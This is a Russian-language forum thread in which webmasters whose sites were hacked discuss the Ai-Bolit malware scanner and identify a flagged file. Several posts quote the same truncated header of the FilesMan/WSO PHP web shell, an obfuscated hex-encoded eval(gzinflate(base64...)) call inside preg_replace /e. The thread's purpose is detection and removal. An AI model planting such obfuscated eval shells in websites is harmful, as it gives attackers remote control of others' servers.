Взломали сайты

Пользуясь случаем, порекомендую вот этого человека) Все как я хотел

/ru/forum/695123

Скрипт Ai-Bolit переехал, теперь расположен по адресу http://www.revisium.com/ai/

Кстати, я дослал автору несколько новых шеллов, он оперативно внёс изменения. Также теперь скрипт ищет редиректы, прописанные в .htaccess. В общем, весьма полезная штука :)

Прошу помощи. Скрипт выявил вот что:

Ну и в самом файле несколько переменных и затем функция с длиннющим параметорм:

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65........

Избавляться от этой твари простым удалением всей функции?

Не все функции одинаково вредны :) Расшифровать надо, что там внутри. Есть декодеры.

как минимум эта часть говорит, что второй параметр будет выполнен как ПХП скрипт.

аналог eval()

часто авторы тем пытаются защищать так свои копирайты.

suraev +1 Видел подобное не в качестве вируса, хотя сначала выглядит мрачно.

Keep moving даже пользуясь айболитом, нужно тщательно изучать то что он там выдает, можно ненароком поломать сайт. Так что какие-то знания в этой области потребуются

Ну так это же шелл FilesMan сносите его нафиг.

$auth_pass = "0a606b5b2966e150ea3c928e301a6506";

$color = "#df5";

$default_action = 'FilesMan';

$default_use_ajax = true;

$default_charset = 'Windows-1251';

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\

Такие переменные? 😂

$auth_pass = "0a606b5b2966e150ea3c928e301a6506";

$color = "#df5";

$default_action = 'FilesMan';

$default_use_ajax = true;

$default_charset = 'Windows-1251';

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\

Совершенно верно )

Спасибо за подсказку

$auth_pass = "0a606b5b2966e150ea3c928e301a6506";

$color = "#df5";

$default_action = 'FilesMan';

$default_use_ajax = true;

$default_charset = 'Windows-1251';

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\

wso это, не никаких filesman.

Кусок строки в примере - это запись в HEX "eval(gzinflate(base". Всю строку лучше бы выкладывали.